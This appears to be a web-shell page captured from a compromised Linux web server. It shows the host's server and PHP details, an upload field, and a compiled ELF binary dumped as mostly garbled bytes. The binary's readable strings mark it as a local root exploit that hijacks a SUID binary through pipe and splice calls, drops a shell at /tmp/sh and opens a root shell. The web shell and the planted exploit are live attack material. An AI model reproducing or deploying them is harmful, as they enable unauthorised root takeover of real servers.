|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > ` @ ; @ 8
@ @ @ @ 8
8
D D 8- 8= 8= ~ H- H= H= 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd ! ! ! D D Qtd Rtd 8- 8= 8= /lib64/ld-linux-x86-64.so.2 GNU GNU juOoC`1QT GNU em9 " e A < z H _ O Z 4 U r y " k A __cxa_finalize read malloc fcntl __libc_start_main fprintf puts splice system close open pipe lseek abort stderr perror fwrite __stack_chk_fail fstat libc.so.6 GLIBC_2.33 GLIBC_2.4 GLIBC_2.5 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ii
ii
ui 8= @ @= @ @ ? ? ? ? ? A P? X? `? h? p? x? ? ?
? ? ?
? ? ? ? ? ? HH/ HtH 5/ %/ h h h h h h h h q h a h Q h
A h 1 h ! h
h h h %. D %- D %- D %- D %- D %- D %- D %- D %- D %- D %- D %- D %- D %- D %- D %- D %}- D %u- D 1I^HHPTE11H= S- f. H=!/ H/ H9tH6- Ht H=. H5. H)HH?HHHtH- Htf D =. u+UH=, Ht H=, d. ] w UHH0H}HEH{tHEH Ǹ EEE4E 9GEUHEH H
(. HΉE)E} uƋEE0E 9GEUHE؋ H
- HΉE)E} uʐ UHH H8H0H(H dH%( HE1H8 HǸ LL yH Hr H`LH։tHg H{> HXH{H0HH0\H0LA A UHPHP yH
H HP u-Hz, H
H
H \H H(HΉHPHP yH
HLHPH9 v*H+ H Hm
H\L HUdH+%( t UHH0}HuЃ}t/HEHH+ H
HHǸ < HEH@HEH) HEHE HǸ E俖 {HEE HME亖 HΉ-EH HHE蹖 H4) HtH~ Hd Hp HKHEHHo H0HUHE蹖 HtH H #HM HH| H HH open failed stat failed splice failed short splice
write failed short write
Usage: %s SUID
[+] hijacking suid binary.. [~] failed [+] dropping suid shell.. [+] restoring suid binary.. [+] popping root shell.. (dont forget to clean up /tmp/sh ;)) /tmp/sh ;D x 0 @ P` 9 zR x & D $ 4 FJ w ?:*3$" \ t a EC
EC
EC
} @
8= @= o
8? o o h o o 4 o H= 0 @ P ` p 0 @ ELF > x @ @ @ 8 @ @ H=V HA H HH5D Hº H H H= H HZ H1H< /tmp/sh ELF > x @ @ @ 8 @ @ H1Hi H1Hj H= j HWHH; H< /bin/sh GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 3 I A U @= | @ 8= I A @" H= ! 8? 1 @ M ^ o A @ @ / > @ K Z m Q ` & r A ~ A " A Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry ok.c prepare_pipe buffer.0 __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 abort@GLIBC_2.2.5 _ITM_deregisterTMCloneTable splice@GLIBC_2.5 puts@GLIBC_2.2.5 fcntl@GLIBC_2.2.5 _edata _fini elfcode __stack_chk_fail@GLIBC_2.4 system@GLIBC_2.2.5 lseek@GLIBC_2.2.5 close@GLIBC_2.2.5 pipe@GLIBC_2.2.5 hax read@GLIBC_2.2.5 __data_start fprintf@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used malloc@GLIBC_2.2.5 _end __bss_start main open@GLIBC_2.2.5 perror@GLIBC_2.2.5 fwrite@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable fstat@GLIBC_2.33 __cxa_finalize@GLIBC_2.2.5 _init stderr@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o ( a @ i q o 4 4 0 ~ o h h ` B @ @ P P ` ` 9
! ! D X! X! 8= 8- @= @- H= H- 8? 8/ @ 0 A 1 0 1 + 1 X @7 % e: